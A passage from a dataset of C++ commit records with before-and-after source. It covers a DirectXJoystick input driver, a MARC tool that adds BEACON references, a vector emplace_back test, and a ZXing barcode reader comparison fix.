Just,\n * Patrick Hartling, Kevin Meinert,\n * Carolina Cruz-Neira, Albert Baker\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n * Boston, MA 02111-1307, USA.\n *\n * -----------------------------------------------------------------\n * File: $RCSfile$\n * Date modified: $Date$\n * Version: $Revision$\n * -----------------------------------------------------------------\n *\n *************** <auto-copyright.pl END do not edit this line> ***************\/\n\n#include <gadget\/Devices\/DriverConfig.h>\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include <vpr\/Util\/Debug.h>\n#include <jccl\/Config\/ConfigElement.h>\n#include <gadget\/Type\/DeviceConstructor.h>\n#include <gadget\/Util\/Debug.h>\n#include <drivers\/Microsoft\/DirectXJoystick\/DirectXJoystick.h>\n\n\nextern \"C\"\n{\n\nGADGET_DRIVER_EXPORT(void) initDevice(gadget::InputManager* inputMgr)\n{\n new gadget::DeviceConstructor<gadget::DirectXJoystick>(inputMgr);\n}\n\n}\n\nnamespace gadget\n{\n\n\/** Constructor. *\/\nDirectXJoystick::DirectXJoystick()\n : mActive(false)\n{\n}\n\n\/**\n * Destructor.\n *\n * @pre None.\n * @post Shared memory is released.\n *\/\nDirectXJoystick::~DirectXJoystick()\n{\n}\n\nstd::string DirectXJoystick::getElementType()\n{\n return \"directx_joystick\";\n}\n\n\/**\n * config \n *\/\nbool DirectXJoystick::config(jccl::ConfigElementPtr e)\n{\n if(! (Input::config(e) && Digital::config(e) && Analog::config(e)))\n {\n return false;\n }\n\n mJsLabel = e->getName();\n\n unsigned num_axis_buttons = e->getNum(\"axis_buttons\");\n for ( unsigned i = 0; i < num_axis_buttons; ++i )\n {\n unsigned idx = e->getProperty<int>(\"axis_buttons\", i);\n mAxisButtonIndices.push_back(idx);\n }\n\n \/\/ XXX: This doesn't make any sense. PH 8\/19\/2004\n if( getMin() == 0 && getMax() == 0 || getMin() >= getMax() )\n {\n setMin(-100.0f);\n setMax(100.0f);\n }\n\n return true;\n}\n\nbool DirectXJoystick::startSampling()\n{\n vprDEBUG(gadgetDBG_INPUT_MGR, vprDBG_CONFIG_STATUS_LVL)\n << \"Opening Win Joystick driver \" << std::endl << vprDEBUG_FLUSH;\n\n mActive = (mInputDrv.init() == 0);\n\n if ( ! mActive )\n {\n vprDEBUG(gadgetDBG_INPUT_MGR, vprDBG_CRITICAL_LVL)\n << \"ERROR: Failed to open Win Joystick.\" << std::endl\n << vprDEBUG_FLUSH;\n return false;\n }\n\n \/\/ FIXME: hardcoded number of axes and buttons\n int version = 0;\n mNumAxes = 9; \/\/ Analog = 8 from DIJOYSTATE\n mNumButtons = 10; \/\/ Digital = 32 from DIJOYSTATE\n\n \/\/ Output joystick description\n vprDEBUG(gadgetDBG_INPUT_MGR, vprDBG_CONFIG_LVL)\n << \" joystick label: \" << mJsLabel << std::endl\n << \" joystick name: \" << mInputDrv.getProductName() << std::endl\n << \" axes: \" << mNumAxes << std::endl\n << \" buttons: \" << mNumButtons << std::endl\n << \" driver ver: \" << version << std::endl\n << \" axis buttons: \";\n\n for(unsigned i=0;i<mAxisButtonIndices.size(); ++i)\n { \n vprDEBUG_CONTnl(gadgetDBG_INPUT_MGR, vprDBG_CONFIG_LVL)\n << mAxisButtonIndices[i] << \" \";\n }\n vprDEBUG_CONTnl(gadgetDBG_INPUT_MGR, vprDBG_CONFIG_LVL)\n << std::endl << vprDEBUG_FLUSH;\n\n \/\/ Allocate initial device data\n \/\/ - By default this will clear them out\n mCurAxes.resize(mNumAxes);\n mCurAxesRanges.resize(mNumAxes, axis_range_t(-100.0f, 100.0f)); \/\/ Initialize ranges to 0,255\n mCurButtons.resize(mNumButtons + mAxisButtonIndices.size());\n\n \/\/ Setup axis as button stuff\n mAxisToButtonIndexLookup.clear();\n mAxisToButtonIndexLookup.resize(mNumAxes, -1); \/\/ Default to -1, meaning no axis button\n for(unsigned i=0;i<mAxisButtonIndices.size(); ++i) \/\/ For each configured axis index\n {\n unsigned virtual_btn_index = (mNumButtons+i); \/\/ Index of the virtual button from the axis\n vprASSERT(virtual_btn_index < mCurButtons.size() && \"Virtual button index out of range\");\n unsigned axis_index = mAxisButtonIndices[i]; \/\/ Index of the axis we are mapping\n mAxisToButtonIndexLookup[axis_index] = int(virtual_btn_index); \/\/ Setup the mapping\n }\n\n return true;\n}\n\n\/**\n * Stops sampling.\n * Drop connection to joystick and clear everything.\n *\/\nbool DirectXJoystick::stopSampling()\n{\n if ( mActive )\n {\n mInputDrv.close(); \/\/ Close the joystick device\n mActive = false;\n }\n\n return true;\n}\n\n\/**\n * Updates to the sampled data.\n *\n * @pre None.\n * @post Most recent value is copied over to temp area.\n *\/\nvoid DirectXJoystick::updateData()\n{\n mInputDrv.poll();\n DIJOYSTATE mJsData = mInputDrv.getData(); \n\n \/\/FIXME: if & only if there is events happen, do setTime\n \/\/ for buttons, do update \n for ( unsigned int i = 0; i < mCurButtons.size(); ++i )\n {\n mCurButtons[i].setDigital(mJsData.rgbButtons[i]);\n if( mCurButtons[i].getDigital() != 0)\n {\n mCurButtons[i].setTime();\n }\n }\n\n \/\/ for axes, do update\n float norm_value;\n normalizeMinToMax(mJsData.lX, norm_value);\n mCurAxes[0] = norm_value;\n normalizeMinToMax(mJsData.lY, norm_value);\n mCurAxes[1] = norm_value;\n normalizeMinToMax(mJsData.lZ, norm_value);\n mCurAxes[2] = norm_value;\n normalizeMinToMax(mJsData.lRx, norm_value); \/\/ x rotation\n mCurAxes[3] = norm_value;\n normalizeMinToMax(mJsData.lRy, norm_value); \/\/ y rotation\n mCurAxes[4] = norm_value;\n normalizeMinToMax(mJsData.lRz, norm_value); \/\/ z rotation\n mCurAxes[5] = norm_value;\n normalizeMinToMax(mJsData.rglSlider[0], norm_value); \/\/ u-axis\n mCurAxes[6] = norm_value;\n normalizeMinToMax(mJsData.rglSlider[1], norm_value); \/\/ v-axis\n mCurAxes[7] = norm_value;\n mCurAxes[8] = (float(mJsData.rgdwPOV[0])); \/\/hat: -1, 0, 9,000, 18,000, or 27,000.\n\n \/\/ use axes as button, only first 3 are tested.\n for ( unsigned int axis_number = 0; axis_number < mNumAxes; ++axis_number )\n {\n \/\/ FIXME: don't know when it is changed\n mCurAxes[axis_number].setTime();\n\n \/\/ Check for axis buttons\n \/\/ - If we have a mapping\n \/\/ - If axis is gt 0.5, then btn is down\n if ( axis_number < 3 )\n {\n float norm_value(0.0f); \/\/ mCurAxes[axis_number].getAnalog();\n if ( mAxisToButtonIndexLookup[axis_number] != -1 ) \/\/ If we map to a virtual button\n {\n unsigned vir_btn_index = mAxisToButtonIndexLookup[axis_number];\n vprASSERT(vir_btn_index < mCurButtons.size() && \"Virtual button index out of range\");\n mCurButtons[vir_btn_index] = ((norm_value > 0.5f) ? 1 : 0);\n mCurButtons[vir_btn_index].setTime();\n }\n }\n }\n\n addDigitalSample(mCurButtons);\n swapDigitalBuffers();\n\n addAnalogSample(mCurAxes);\n swapAnalogBuffers();\n} \/\/ end of Update\n\n} \/\/ End of gadget namespace\n<|endoftext|>"} {"text":"<commit_before>\/** \\brief Utility for deleting partial or entire MARC records based on an input list.\n * \\author Mario Trojan (mario.trojan@uni-tuebingen.de)\n *\n * \\copyright 2018 Universitätsbibliothek Tübingen. All rights reserved.\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <iostream>\n#include <map>\n#include <memory>\n#include <cstdlib>\n#include \"Downloader.h\"\n#include \"File.h\"\n#include \"FileUtil.h\"\n#include \"MARC.h\"\n#include \"StringUtil.h\"\n#include \"util.h\"\n\nnamespace {\n\n\n[[noreturn]] void Usage() {\n std::cerr << \"Usage: \" << ::progname\n << \" [--input-format=(marc-21|marc-xml)] [--output-format=(marc-21|marc-xml)] input_marc21 output_marc21\\n\";\n std::exit(EXIT_FAILURE);\n}\n\n\n\/\/ TODO: add archivportal-d (BEACON url not found)\n\/\/ BEACON file can only be used if entry elemtents are plain GND numbers.\nconst std::map<std::string, std::string> beacon_id_to_url_map({ { \"kalliope\", \"http:\/\/kalliope.staatsbibliothek-berlin.de\/beacon\/beacon.txt\" } });\n\n\nstd::map<std::string, std::set<std::string>> PopulateGNDToBeaconIdsMap() {\n std::map<std::string, std::set<std::string>> gnd_to_beacon_ids_map;\n\n FileUtil::AutoTempDirectory temp_dir;\n for (const auto &beacon_id_and_url : beacon_id_to_url_map) {\n const std::string beacon_id(beacon_id_and_url.first);\n const std::string beacon_url(beacon_id_and_url.second);\n const std::string beacon_temp_path(temp_dir.getDirectoryPath() + \"\/\" + beacon_id);\n\n LOG_INFO(\"Downloading\/Processing \" + beacon_id + \" BEACON file from \" + beacon_url);\n if (not Download(beacon_url, beacon_temp_path, Downloader::DEFAULT_TIME_LIMIT))\n LOG_ERROR(\"BEACON file could not be downloaded: \" + beacon_url);\n\n File beacon_file(beacon_temp_path, \"r\");\n unsigned beacon_gnd_count(0);\n while (not beacon_file.eof()) {\n const std::string line(beacon_file.getline());\n if (not StringUtil::StartsWith(line, \"#\")) {\n const std::string gnd(line);\n ++beacon_gnd_count;\n auto gnd_to_beacon_ids_iter(gnd_to_beacon_ids_map.find(gnd));\n if (gnd_to_beacon_ids_iter == gnd_to_beacon_ids_map.end())\n gnd_to_beacon_ids_map.emplace(gnd, std::initializer_list<std::string>{ beacon_id });\n else\n gnd_to_beacon_ids_iter->second.emplace(beacon_id);\n }\n }\n LOG_INFO(\"Found \" + std::to_string(beacon_gnd_count) + \" GND numbers in \" + beacon_id + \" BEACON file.\");\n }\n\n return gnd_to_beacon_ids_map;\n}\n\n\nvoid ProcessRecords(const std::map<std::string, std::set<std::string>> &gnd_to_beacon_ids_map,\n MARC::Reader * const marc_reader, MARC::Writer * const marc_writer)\n{\n unsigned beacon_reference_count(0);\n while (MARC::Record record = marc_reader->read()) {\n std::string gnd;\n if (MARC::GetGNDCode(record, &gnd)) {\n const auto gnd_to_beacon_ids(gnd_to_beacon_ids_map.find(gnd));\n if (gnd_to_beacon_ids != gnd_to_beacon_ids_map.end()) {\n MARC::Record::Field beacon_field(\"BEA\");\n beacon_field.appendSubfield('a', \"1\");\n for (const std::string &beacon_id : gnd_to_beacon_ids->second) {\n beacon_field.appendSubfield('b', beacon_id);\n ++beacon_reference_count;\n }\n\n record.insertField(beacon_field);\n }\n }\n\n marc_writer->write(record);\n }\n\n LOG_INFO(\"Added \" + std::to_string(beacon_reference_count) + \" BEACON references to MARC records!\");\n}\n\n\n} \/\/ unnamed namespace\n\n\nint Main(int argc, char *argv[]) {\n ::progname = argv[0];\n\n if (argc < 3)\n Usage();\n\n const auto reader_type(MARC::GetOptionalReaderType(&argc, &argv, 1));\n const auto writer_type(MARC::GetOptionalWriterType(&argc, &argv, 1));\n\n if (argc != 3)\n Usage();\n\n const auto marc_reader(MARC::Reader::Factory(argv[1], reader_type));\n const auto marc_writer(MARC::Writer::Factory(argv[2], writer_type));\n\n std::map<std::string, std::set<std::string>> gnd_to_beacon_ids_map(PopulateGNDToBeaconIdsMap());\n ProcessRecords(gnd_to_beacon_ids_map, marc_reader.get(), marc_writer.get());\n\n return EXIT_SUCCESS;\n}\n<commit_msg>removed add_beacon_references input & output format override flags<commit_after>\/** \\brief Utility for adding external BEACON references to MARC data.\n * \\author Mario Trojan (mario.trojan@uni-tuebingen.de)\n *\n * \\copyright 2018 Universitätsbibliothek Tübingen. All rights reserved.\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <iostream>\n#include <map>\n#include <memory>\n#include <cstdlib>\n#include \"Downloader.h\"\n#include \"File.h\"\n#include \"FileUtil.h\"\n#include \"MARC.h\"\n#include \"StringUtil.h\"\n#include \"util.h\"\n\nnamespace {\n\n\n[[noreturn]] void Usage() {\n std::cerr << \"Usage: \" << ::progname\n << \" input_marc output_marc\\n\";\n std::exit(EXIT_FAILURE);\n}\n\n\n\/\/ TODO: add archivportal-d (BEACON url not found)\n\/\/ BEACON file can only be used if entry elemtents are plain GND numbers.\nconst std::map<std::string, std::string> beacon_id_to_url_map({ { \"kalliope\", \"http:\/\/kalliope.staatsbibliothek-berlin.de\/beacon\/beacon.txt\" } });\n\n\nstd::map<std::string, std::set<std::string>> PopulateGNDToBeaconIdsMap() {\n std::map<std::string, std::set<std::string>> gnd_to_beacon_ids_map;\n\n FileUtil::AutoTempDirectory temp_dir;\n for (const auto &beacon_id_and_url : beacon_id_to_url_map) {\n const std::string beacon_id(beacon_id_and_url.first);\n const std::string beacon_url(beacon_id_and_url.second);\n const std::string beacon_temp_path(temp_dir.getDirectoryPath() + \"\/\" + beacon_id);\n\n LOG_INFO(\"Downloading\/Processing \" + beacon_id + \" BEACON file from \" + beacon_url);\n if (not Download(beacon_url, beacon_temp_path, Downloader::DEFAULT_TIME_LIMIT))\n LOG_ERROR(\"BEACON file could not be downloaded: \" + beacon_url);\n\n File beacon_file(beacon_temp_path, \"r\");\n unsigned beacon_gnd_count(0);\n while (not beacon_file.eof()) {\n const std::string line(beacon_file.getline());\n if (not StringUtil::StartsWith(line, \"#\")) {\n const std::string gnd(line);\n ++beacon_gnd_count;\n auto gnd_to_beacon_ids_iter(gnd_to_beacon_ids_map.find(gnd));\n if (gnd_to_beacon_ids_iter == gnd_to_beacon_ids_map.end())\n gnd_to_beacon_ids_map.emplace(gnd, std::initializer_list<std::string>{ beacon_id });\n else\n gnd_to_beacon_ids_iter->second.emplace(beacon_id);\n }\n }\n LOG_INFO(\"Found \" + std::to_string(beacon_gnd_count) + \" GND numbers in \" + beacon_id + \" BEACON file.\");\n }\n\n return gnd_to_beacon_ids_map;\n}\n\n\nvoid ProcessRecords(const std::map<std::string, std::set<std::string>> &gnd_to_beacon_ids_map,\n MARC::Reader * const marc_reader, MARC::Writer * const marc_writer)\n{\n unsigned beacon_reference_count(0);\n while (MARC::Record record = marc_reader->read()) {\n std::string gnd;\n if (MARC::GetGNDCode(record, &gnd)) {\n const auto gnd_to_beacon_ids(gnd_to_beacon_ids_map.find(gnd));\n if (gnd_to_beacon_ids != gnd_to_beacon_ids_map.end()) {\n MARC::Record::Field beacon_field(\"BEA\");\n beacon_field.appendSubfield('a', \"1\");\n for (const std::string &beacon_id : gnd_to_beacon_ids->second) {\n beacon_field.appendSubfield('b', beacon_id);\n ++beacon_reference_count;\n }\n\n record.insertField(beacon_field);\n }\n }\n\n marc_writer->write(record);\n }\n\n LOG_INFO(\"Added \" + std::to_string(beacon_reference_count) + \" BEACON references to MARC records!\");\n}\n\n\n} \/\/ unnamed namespace\n\n\nint Main(int argc, char *argv[]) {\n ::progname = argv[0];\n\n if (argc != 3)\n Usage();\n\n const auto marc_reader(MARC::Reader::Factory(argv[1]));\n const auto marc_writer(MARC::Writer::Factory(argv[2]));\n\n std::map<std::string, std::set<std::string>> gnd_to_beacon_ids_map(PopulateGNDToBeaconIdsMap());\n ProcessRecords(gnd_to_beacon_ids_map, marc_reader.get(), marc_writer.get());\n\n return EXIT_SUCCESS;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===----------------------------------------------------------------------===\/\/\r\n\/\/\r\n\/\/ The LLVM Compiler Infrastructure\r\n\/\/\r\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\r\n\/\/ Source Licenses. See LICENSE.TXT for details.\r\n\/\/\r\n\/\/===----------------------------------------------------------------------===\/\/\r\n\r\n\/\/ <vector>\r\n\r\n\/\/ template <class... Args> reference emplace_back(Args&&... args);\r\n\r\n\/\/#include <vector>\r\n\/\/#include <cassert>\r\n\/\/#include \"..\/..\/..\/stack_allocator.h\"\r\n\/\/#include \"min_allocator.h\"\r\n\/\/#include \"asan_testing.h\"\r\n\r\n#ifndef _LIBCPP_HAS_NO_RVALUE_REFERENCES\r\n\r\nclass A\r\n{\r\n int i_;\r\n double d_;\r\n\r\n A(const A&);\r\n A& operator=(const A&);\r\npublic:\r\n A(int i, double d)\r\n : i_(i), d_(d) {}\r\n\r\n A(A&& a)\r\n : i_(a.i_),\r\n d_(a.d_)\r\n {\r\n a.i_ = 0;\r\n a.d_ = 0;\r\n }\r\n\r\n A& operator=(A&& a)\r\n {\r\n i_ = a.i_;\r\n d_ = a.d_;\r\n a.i_ = 0;\r\n a.d_ = 0;\r\n return *this;\r\n }\r\n\r\n int geti() const {return i_;}\r\n double getd() const {return d_;}\r\n};\r\n\r\n#endif \/\/ _LIBCPP_HAS_NO_RVALUE_REFERENCES\r\n\r\nvoid main()\r\n{\r\n#ifndef _LIBCPP_HAS_NO_VARIADICS\r\n#ifndef _LIBCPP_HAS_NO_RVALUE_REFERENCES\r\n {\r\n vector<A> c;\r\n A& r1 = c.emplace_back(2, 3.5);\r\n assert(c.size() == 1);\r\n assert(&r1 == &c.back());\r\n assert(c.front().geti() == 2);\r\n assert(c.front().getd() == 3.5);\r\n \/\/assert(is_contiguous_container_asan_correct(c));\r\n A& r2 = c.emplace_back(3, 4.5);\r\n assert(c.size() == 2);\r\n assert(&r2 == &c.back());\r\n assert(c.front().geti() == 2);\r\n assert(c.front().getd() == 3.5);\r\n assert(c.back().geti() == 3);\r\n assert(c.back().getd() == 4.5);\r\n \/\/assert(is_contiguous_container_asan_correct(c));\r\n }\r\n#ifdef LIBCPP_TEST_STACK_ALLOCATOR\r\n {\r\n vector<A, stack_allocator<A, 4> > c;\r\n A& r1 = c.emplace_back(2, 3.5);\r\n assert(c.size() == 1);\r\n assert(&r1 == &c.back());\r\n assert(c.front().geti() == 2);\r\n assert(c.front().getd() == 3.5);\r\n \/\/assert(is_contiguous_container_asan_correct(c));\r\n A& r2 = c.emplace_back(3, 4.5);\r\n assert(c.size() == 2);\r\n assert(&r2 == &c.back());\r\n assert(c.front().geti() == 2);\r\n assert(c.front().getd() == 3.5);\r\n assert(c.back().geti() == 3);\r\n assert(c.back().getd() == 4.5);\r\n \/\/assert(is_contiguous_container_asan_correct(c));\r\n }\r\n#endif\r\n\/\/#if __cplusplus >= 201103L\r\n#ifdef LIBCPP_TEST_MIN_ALLOCATOR\r\n {\r\n vector<A, min_allocator<A>> c;\r\n A& r1 = c.emplace_back(2, 3.5);\r\n assert(c.size() == 1);\r\n assert(&r1 == &c.back());\r\n assert(c.front().geti() == 2);\r\n assert(c.front().getd() == 3.5);\r\n \/\/assert(is_contiguous_container_asan_correct(c));\r\n A& r2 = c.emplace_back(3, 4.5);\r\n assert(c.size() == 2);\r\n assert(&r2 == &c.back());\r\n assert(c.front().geti() == 2);\r\n assert(c.front().getd() == 3.5);\r\n assert(c.back().geti() == 3);\r\n assert(c.back().getd() == 4.5);\r\n \/\/assert(is_contiguous_container_asan_correct(c));\r\n }\r\n#endif\r\n#endif \/\/ _LIBCPP_HAS_NO_RVALUE_REFERENCES\r\n#endif\t\/\/ _LIBCPP_HAS_NO_VARIADICS\r\n}\r\n<commit_msg>Vector tests<commit_after>\/\/===----------------------------------------------------------------------===\/\/\r\n\/\/\r\n\/\/ The LLVM Compiler Infrastructure\r\n\/\/\r\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\r\n\/\/ Source Licenses. See LICENSE.TXT for details.\r\n\/\/\r\n\/\/===----------------------------------------------------------------------===\/\/\r\n\r\n\/\/ <vector>\r\n\r\n\/\/ template <class... Args> reference emplace_back(Args&&... args);\r\n\r\n\/\/#include <vector>\r\n\/\/#include <cassert>\r\n\/\/#include \"..\/..\/..\/stack_allocator.h\"\r\n\/\/#include \"min_allocator.h\"\r\n\/\/#include \"asan_testing.h\"\r\n\r\n#ifndef _LIBCPP_HAS_NO_RVALUE_REFERENCES\r\n\r\nclass A\r\n{\r\n int i_;\r\n double d_;\r\n\r\n A(const A&);\r\n A& operator=(const A&);\r\n\r\npublic:\r\n A(int i, double d)\r\n : i_(i), d_(d) {}\r\n\r\n A(A&& a) = default;\r\n \/\/ : i_(a.i_),\r\n \/\/ d_(a.d_)\r\n \/\/{\r\n \/\/ a.i_ = 0;\r\n \/\/ a.d_ = 0;\r\n \/\/}\r\n\r\n A& operator=(A&& a) = default;\r\n \/\/{\r\n \/\/ i_ = a.i_;\r\n \/\/ d_ = a.d_;\r\n \/\/ a.i_ = 0;\r\n \/\/ a.d_ = 0;\r\n \/\/ return *this;\r\n \/\/}\r\n\r\n int geti() const {return i_;}\r\n double getd() const {return d_;}\r\n};\r\n\r\n#endif \/\/ _LIBCPP_HAS_NO_RVALUE_REFERENCES\r\n\r\nvoid main()\r\n{\r\n#ifndef _LIBCPP_HAS_NO_VARIADICS\r\n#ifndef _LIBCPP_HAS_NO_RVALUE_REFERENCES\r\n {\r\n vector<A> c;\r\n A& r1 = c.emplace_back(2, 3.5);\r\n assert(c.size() == 1);\r\n assert(&r1 == &c.back());\r\n assert(c.front().geti() == 2);\r\n assert(c.front().getd() == 3.5);\r\n \/\/assert(is_contiguous_container_asan_correct(c));\r\n A& r2 = c.emplace_back(3, 4.5);\r\n assert(c.size() == 2);\r\n assert(&r2 == &c.back());\r\n assert(c.front().geti() == 2);\r\n assert(c.front().getd() == 3.5);\r\n assert(c.back().geti() == 3);\r\n assert(c.back().getd() == 4.5);\r\n \/\/assert(is_contiguous_container_asan_correct(c));\r\n }\r\n#ifdef LIBCPP_TEST_STACK_ALLOCATOR\r\n {\r\n vector<A, stack_allocator<A, 4> > c;\r\n A& r1 = c.emplace_back(2, 3.5);\r\n assert(c.size() == 1);\r\n assert(&r1 == &c.back());\r\n assert(c.front().geti() == 2);\r\n assert(c.front().getd() == 3.5);\r\n \/\/assert(is_contiguous_container_asan_correct(c));\r\n A& r2 = c.emplace_back(3, 4.5);\r\n assert(c.size() == 2);\r\n assert(&r2 == &c.back());\r\n assert(c.front().geti() == 2);\r\n assert(c.front().getd() == 3.5);\r\n assert(c.back().geti() == 3);\r\n assert(c.back().getd() == 4.5);\r\n \/\/assert(is_contiguous_container_asan_correct(c));\r\n }\r\n#endif\r\n\/\/#if __cplusplus >= 201103L\r\n#ifdef LIBCPP_TEST_MIN_ALLOCATOR\r\n {\r\n vector<A, min_allocator<A>> c;\r\n A& r1 = c.emplace_back(2, 3.5);\r\n assert(c.size() == 1);\r\n assert(&r1 == &c.back());\r\n assert(c.front().geti() == 2);\r\n assert(c.front().getd() == 3.5);\r\n \/\/assert(is_contiguous_container_asan_correct(c));\r\n A& r2 = c.emplace_back(3, 4.5);\r\n assert(c.size() == 2);\r\n assert(&r2 == &c.back());\r\n assert(c.front().geti() == 2);\r\n assert(c.front().getd() == 3.5);\r\n assert(c.back().geti() == 3);\r\n assert(c.back().getd() == 4.5);\r\n \/\/assert(is_contiguous_container_asan_correct(c));\r\n }\r\n#endif\r\n#endif \/\/ _LIBCPP_HAS_NO_RVALUE_REFERENCES\r\n#endif\t\/\/ _LIBCPP_HAS_NO_VARIADICS\r\n}\r\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Reduce limit to 2^64-1<commit_after><|endoftext|>"} {"text":"<commit_before>\/*\n* Copyright 2016 Nu-book Inc.\n* Copyright 2016 ZXing authors\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n#include \"MultiFormatReader.h\"\n\n#include \"BarcodeFormat.h\"\n#include \"DecodeHints.h\"\n#include \"aztec\/AZReader.h\"\n#include \"datamatrix\/DMReader.h\"\n#include \"maxicode\/MCReader.h\"\n#include \"oned\/ODReader.h\"\n#include \"pdf417\/PDFReader.h\"\n#include \"qrcode\/QRReader.h\"\n\n#include <memory>\n\nnamespace ZXing {\n\nMultiFormatReader::MultiFormatReader(const DecodeHints& hints)\n{\n\tbool tryHarder = hints.tryHarder();\n\tauto formats = hints.formats().empty() ? BarcodeFormat::Any : hints.formats();\n\n\t\/\/ Put 1D readers upfront in \"normal\" mode\n\tif (formats.testFlags(BarcodeFormat::OneDCodes) && !tryHarder)\n\t\t_readers.emplace_back(new OneD::Reader(hints));\n\n\tif (formats.testFlag(BarcodeFormat::QRCode))\n\t\t_readers.emplace_back(new QRCode::Reader(hints));\n\tif (formats.testFlag(BarcodeFormat::DataMatrix))\n\t\t_readers.emplace_back(new DataMatrix::Reader(hints));\n\tif (formats.testFlag(BarcodeFormat::Aztec))\n\t\t_readers.emplace_back(new Aztec::Reader(hints));\n\tif (formats.testFlag(BarcodeFormat::PDF417))\n\t\t_readers.emplace_back(new Pdf417::Reader(hints));\n\tif (formats.testFlag(BarcodeFormat::MaxiCode))\n\t\t_readers.emplace_back(new MaxiCode::Reader(hints));\n\n\t\/\/ At end in \"try harder\" mode\n\tif (formats.testFlags(BarcodeFormat::OneDCodes) && tryHarder) {\n\t\t_readers.emplace_back(new OneD::Reader(hints));\n\t}\n}\n\nMultiFormatReader::~MultiFormatReader() = default;\n\nResult\nMultiFormatReader::read(const BinaryBitmap& image) const\n{\n\t\/\/ If we have only one reader in our list, just return whatever that decoded.\n\t\/\/ This preserves information (e.g. ChecksumError) instead of just returning 'NotFound'.\n\tif (_readers.size() == 1)\n\t\treturn _readers.front()->decode(image);\n\n\tfor (const auto& reader : _readers) {\n\t\tResult r = reader->decode(image);\n \t\tif (r.isValid())\n\t\t\treturn r;\n\t}\n\treturn Result(DecodeStatus::NotFound);\n}\n\nResults MultiFormatReader::readMultiple(const BinaryBitmap& image, int maxSymbols) const\n{\n\tstd::vector<Result> res;\n\n\tfor (const auto& reader : _readers) {\n\t\tauto r = reader->decode(image, maxSymbols);\n\t\tmaxSymbols -= r.size();\n\t\tres.insert(res.end(), std::move_iterator(r.begin()), std::move_iterator(r.end()));\n\t\tif (maxSymbols <= 0)\n\t\t\tbreak;\n\t}\n\n\t\/\/ sort results based on their position on the image\n\tstd::sort(res.begin(), res.end(), [](const Result& l, const Result& r) {\n\t\tauto lp = l.position().topLeft();\n\t\tauto rp = r.position().topLeft();\n\t\treturn lp.y < rp.y || (lp.y == rp.y && lp.x <= rp.x);\n\t});\n\n\treturn res;\n}\n\n} \/\/ ZXing\n<commit_msg>Fixed comparison bug in MultiFormatReader.cpp<commit_after>\/*\n* Copyright 2016 Nu-book Inc.\n* Copyright 2016 ZXing authors\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n#include \"MultiFormatReader.h\"\n\n#include \"BarcodeFormat.h\"\n#include \"DecodeHints.h\"\n#include \"aztec\/AZReader.h\"\n#include \"datamatrix\/DMReader.h\"\n#include \"maxicode\/MCReader.h\"\n#include \"oned\/ODReader.h\"\n#include \"pdf417\/PDFReader.h\"\n#include \"qrcode\/QRReader.h\"\n\n#include <memory>\n\nnamespace ZXing {\n\nMultiFormatReader::MultiFormatReader(const DecodeHints& hints)\n{\n\tbool tryHarder = hints.tryHarder();\n\tauto formats = hints.formats().empty() ? BarcodeFormat::Any : hints.formats();\n\n\t\/\/ Put 1D readers upfront in \"normal\" mode\n\tif (formats.testFlags(BarcodeFormat::OneDCodes) && !tryHarder)\n\t\t_readers.emplace_back(new OneD::Reader(hints));\n\n\tif (formats.testFlag(BarcodeFormat::QRCode))\n\t\t_readers.emplace_back(new QRCode::Reader(hints));\n\tif (formats.testFlag(BarcodeFormat::DataMatrix))\n\t\t_readers.emplace_back(new DataMatrix::Reader(hints));\n\tif (formats.testFlag(BarcodeFormat::Aztec))\n\t\t_readers.emplace_back(new Aztec::Reader(hints));\n\tif (formats.testFlag(BarcodeFormat::PDF417))\n\t\t_readers.emplace_back(new Pdf417::Reader(hints));\n\tif (formats.testFlag(BarcodeFormat::MaxiCode))\n\t\t_readers.emplace_back(new MaxiCode::Reader(hints));\n\n\t\/\/ At end in \"try harder\" mode\n\tif (formats.testFlags(BarcodeFormat::OneDCodes) && tryHarder) {\n\t\t_readers.emplace_back(new OneD::Reader(hints));\n\t}\n}\n\nMultiFormatReader::~MultiFormatReader() = default;\n\nResult\nMultiFormatReader::read(const 